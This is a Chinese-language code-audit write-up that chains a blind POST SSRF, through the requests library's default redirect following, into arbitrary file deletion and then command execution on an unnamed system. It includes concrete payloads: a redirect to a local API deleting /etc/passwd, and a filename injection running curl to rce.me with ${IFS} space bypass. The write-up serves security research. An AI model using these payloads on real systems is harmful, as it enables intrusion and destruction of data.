记一次从鸡肋SSRF到RCE的代码审计过程
Author: TheKingOfDuck@0KEE TEAM
Python标准库中用来处理HTTP相关的模块是urllib/urllib2,不过其中的API十分零碎,比如urllib库有urlencode,但urllib2没有,经常需要混在一起使用,换个运行环境可能又无法正常运行,除了urllib和urllib2之外,会经常看到的还有一个urllib3,该模块是服务于升级的http 1.1标准,且拥有高效http连接池管理及http代理服务的功能库,但其并非python内置,需要自行安装,使用起来仍很复杂,比如urllib3对于POST和PUT请求(request),需要手动对传入数据进行编码,然后再加在URL之后,非常麻烦。requests是基于urllib3封装的,继承了urllib2的所有特性,遵循Apache2 Licensed开源协议的HTTP库,支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。如他的口号HTTP for Humans所说,这才是给人用的HTTP库,实际使用过程中更方便,能够大大的提高使用效率,缩短写代码的时间。

实战中遇到过这样一个案例,一个输入密码正确后会302跳转到后台页面的登录口存在盲注,但登录数据有加密,无法试用sqlmap完成自动注入的过程,于是想编写python脚本自动化完成这个过程,requests是首选,实际编写过程中会发现默认属性下其无法获取到30X状态码的详情,分析其代码后发现requests的所有请求方法(GET/POST/HEAD/PUT/DELETE)均会默认跟随30X跳转,继承了urlib3默认跟随30X跳转的属性,并将30X连续跳转的次数上限从3次修改为30次,如果返回状态码是304/305/306/309会保持原来的请求方法,但不会跳转,返回状态码是307/308会保持原请求方法,并且跳转,其他30x状态码则会将请求方法转化为GET。如需禁止跳转需将allow_redirects属性的值设置为False。
下面将分享一个因为这个特性导致的从ssrf到rce的漏洞组合拳。
0x01 起
某系统的升级功能可配置自定义的站点, 点击升级按钮后会触发向特定路由发送文件, 也就是一个鸡肋的POST
类型的路由和参数均不可控的SSRF
。

如下图,**_update
是从用户自定义的配置中取的, 与固定的route
变量拼接后作为发送文件的url

利用上文提到的requests默认跟随状态码30X
跳转的特性, 可将这个鸡肋的SSRF
变成一个GET
类型的路由和参数均可控的SSRF


0x02 承
该软件的分层大致如下图, 鉴权在应用层, 涉及数据涉及敏感操作的均通过api调用另一个端口的上的服务, 该过程无鉴权。思路比较清晰, 可审计服务层的代码漏洞结合已有的SSRF
进一步扩大危害。

受这个SSRF
本身的限制, 寻找服务层漏洞时优先看请求方式为GET
的路由, 筛选后找到一个符合条件的漏洞点如下图所示, 传入的doc_file_path
参数可控, 如果文件名中能带入自己的恶意Payload
且文件能够存在的情况下, 拼接到cmd
变量中后有机会RCE
。

走到命令拼接的前置条件是文件存在, 故先查看上传部分代码, 如下图所示, mkstemp方法的作用是以最安全的方式创建一个临时文件, 该文件的文件名随机, 创建后不会自动删除, 需用户自行将其删除, suffixs
是指定的后缀, 也就是说文件虽然可以落地, 但文件名不可控, 无法拼接自己的Payload
。

此时只能作为一个任意文件删除的漏洞来使用, 配置升级链接301
跳转到http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd
, 其中doc_file_path
参数为已知的存在的文件, 点击系统升级按钮即可触发删除操作。

0x03 转
继续分析代码,阅读大量代码后找到一处上传文件的功能点如下图所示, 其中file_pre
为源文件名, 拼接下划线,时间戳以及.txt
后保存并返回了完整的文件路径,正好符合上面的要求。

源文件名可控, 路径已知,SSRF
升级RCE
变得索然无味, 使用分号切割命令语句,带参数的命令可以使用${IFS}
绕一下空格问题, 涉及到的${;
均为unix系统文件名允许使用范围的字符。


0x04 合
参数及路由均不可控POST
类型的SSRF
-> requests
30X
跳转特性 -> 参数和路由均可控的GET
类型SSRF
-> 文件名部分可控的文件上传 -> 多点结合攻击本地服务
最终Payload如下:
http://127.0.0.1:8848/api/doc?doc_file_path=
/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt

配置完成手动点击一下升级功能即可触发命令执行。


也无风雨也无晴